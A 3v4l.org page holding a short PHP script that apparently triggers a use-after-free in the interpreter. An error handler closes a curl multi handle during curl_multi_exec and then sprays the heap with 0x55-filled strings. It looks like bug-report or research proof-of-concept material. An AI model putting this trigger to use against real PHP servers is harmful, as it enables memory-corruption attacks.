3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ch1 = curl_init(); $ch2 = curl_init(); // set URL and other appropriate options curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/"); curl_setopt($ch1, CURLOPT_HEADER, 0); curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/"); curl_setopt($ch2, CURLOPT_HEADER, 0); //create the multiple cURL handle $mh = curl_multi_init(); //add the two handles curl_multi_add_handle($mh,$ch1); curl_multi_add_handle($mh,$ch2); set_error_handler("myErrorHandler"); echo "before call\n"; curl_multi_exec($mh, new dummyclass()); echo "after call\n"; //imagecolorat($GLOBALS['img'], $addr >> 2, new dummyclass()); class dummyclass { } function myErrorHandler($errno, $errstr) { curl_multi_close($GLOBALS["mh"]); for ($i = 0; $i < 600000; $i++) $GLOBALS['x' . $i] = str_repeat(chr(0x55), 0x24); echo "$errstr\n"; return true; }

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38.69 ms | 402 KiB | 5 Q